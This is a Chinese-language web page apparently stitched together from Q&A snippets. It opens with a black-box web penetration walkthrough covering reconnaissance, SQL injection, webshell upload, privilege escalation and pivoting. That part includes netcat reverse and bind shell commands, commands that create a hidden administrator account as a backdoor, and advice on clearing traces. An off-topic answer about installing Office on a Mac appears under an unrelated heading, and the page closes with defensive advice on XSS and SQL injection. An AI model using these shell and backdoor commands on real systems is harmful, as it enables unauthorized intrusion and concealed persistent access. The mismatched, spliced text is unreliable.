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web渗透是什么？
Web渗透测试分为白盒测试和黑盒测试，白盒测试是指目标网站的源码等信息的情况下对其渗透，相当于代码分析审计。而黑盒测试则是在对该网站系统信息不知情的情况下渗透，以下所说的Web渗透就是黑盒渗透。
Web渗透分为以下几个步骤，信息收集，漏洞扫描，漏洞利用，提权，内网渗透，留后门，清理痕迹。一般的渗透思路就是看是否有注入漏洞，然后注入得到后台管理员账号密码，登录后台，上传小马，再通过小马上传大马，提权，内网转发，进行内网渗透，扫描内网c段存活主机及开放端口，看其主机有无可利用漏洞（nessus）端口（nmap）对应服务及可能存在的漏洞，对其利用（msf）拿下内网，留下后门，清理痕迹。或者看是否有上传文件的地方，上传一句话木马，再用菜刀链接，拿到数据库并可执行cmd命令，可继续上大马.........思路很多，很多时候成不成功可能就是一个思路的问题，技术可以不高，思路一定得骚。
信息收集
信息收集是整个流程的重中之重，前期信息收集的越多，Web渗透的成功率就越高。
DNS域名信息：通过url获取其真实ip,子域名(Layer子域名爆破机)，旁站(K8旁站，御剑1.5)，c段，网站负责人及其信息（whois查询）
整站信息：服务器操作系统、服务器类型及版本(Apache/Nginx/Tomcat/IIS)、数据库类型(Mysql/Oracle/Accees/Mqlserver)、脚本类型(php/jsp/asp/aspx)、CMS类型；
网站常见搭配为：
ASP和ASPX：ACCESS、SQLServer
PHP：MySQL、PostgreSQL
*** P：Oracle、MySQL
敏感目录信息（御剑，dirbust）
开放端口信息（nmp）
漏洞扫描
利用AWVS,AppScan,OWASP-ZAP,等可对网站进行网站漏洞的初步扫描，看其是否有可利用漏洞。
常见漏洞：
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE(XML外部实体注入)漏洞
SSRF(服务端请求伪造)漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录遍历漏洞和任意文件读取/下载漏洞
漏洞利用
用工具也好什么也好对相应漏洞进行利用
如：
Sql注入（sqlmap）
XSS（BEEF）
后台密码爆破（burp）
端 *** 破（hydra）
提权
获得shell之后我们权限可能很低，因此要对自己提权，可以根据服务器版本对应的exp进行提权，对于Windows系统也可看其补丁对应漏洞的exp进行提权
内网渗透
首先进行端口转发可用nc
nc使用 *** ：
反向连接
在公网主机上进行监听：
nc-lvp 4444
在内网主机上执行：
nc-e cmd.exe 公网主机ip4444
成功之后即可得到一个内网主机shell
正向连接
远程主机上执行：
nc-l -p 4444 -t -e cmd.exe
本地主机上执行：
nc-vv 远程主机ip4444
成功后，本地主机即可远程主机的一个shell
然后就是对内网进行渗透了，可以用主机漏洞扫描工具（nessus,x-scan等）进行扫描看是否有可用漏洞，可用msf进行利用，或者用nmap扫描存活主机及开放端口，可用hydra进行端 *** 破或者用msf对端口对应漏洞得到shell拿下内网留后门
留后门
对于网站上传一句话木马，留下后门
对于windows用户可用hideadmin创建一个超级隐藏账户
手工：
netuser test$ 123456 /add
netlocalgroup administrators test$ /add
这样的话在cmd命令中看不到，但在控制面板可以看到，还需要改注册表才能实现控制版面也看不到，太过麻烦，不多赘述，所以还是用工具省心省力。
苹果系统怎么安 *** eef xss
office of MAC 文件大小的1个多G， 后缀名是*.iso。需要你在网上下载。用U盘拷到你的MAC上。双击打开MAC上的"Microsoft Office 2011.iso"，按步骤一步步安装就可以了。安装完成后的，MAC最下面一栏里就会出现W/P/X/0几个图标的。说明你已经完装好了，可以使用了。
我做的网站被漏洞检测说是有什么xss跨站脚本漏洞，怎么修复啊，哪位大侠帮看看！！
你这个页面我没看出来有xss啊，倒是有可能有sql注入漏洞。Title变量要过滤一下啊，要不用户可能会修改Title的内容，比如插入一个单引号，后面跟上自己的sql语句，这样会导致查到一些不该看到的数据库内容，引发注入漏洞。所以，要过滤一些用户提交的数据，把特殊字符全滤掉，百度一些啊asp防注入，有源码的。
xss，假设我是攻击者，我把提交数据的一个变量修改为‘aaaaaaaaaaaa’（post或则get提交的都可以，因为你是request接收的），然后看页面中回显‘aaaaaaaaaaaa’的位置。如果出现了，我可以尝试修改一下加入“”等，破坏掉你的html结构，如果可以破坏，那么我就可以插入javascript代码“script src=.../script”。盗取用户的cookies（所以cookies更好只用httponly），结合beef甚至操作用户的浏览器（权限和功能很低的，别想多了）。
综上所述，你写源码时，必须要检查所有用户可以修改和提交的数据（包括cookies等http头里面的），然后在输出点做好编码。输入与输出控制好了可以减免很多麻烦。
还可以使用安全宝、知道创于等公司提供的云waf服务，这样用户提交的数据会由他们检测，并且给你做好了cdn加速。注意的是，不要把你真实的ip暴露在网上。有的人只做的解析，没有做test.com的解析，导致真实ip暴露在网上。
或者使用一些开源的cms，asp的我不了解，php的我知道有wordpress，代码写的很不错了，只要你定期更新版本，不乱下载一些插件（插件都是别人提交的，编程水平不一定很好所以），一般不会出什么大的漏洞。插件也要定期更新。
防止旁站，找主机服务商时要注意（找大的和好的），亚马逊这样的，每个站的权限都是控制的很死的，所以很难提权。
至于社工，安全是一种意识，慢慢培养吧。我了解的就这些了，希望能对你有帮助。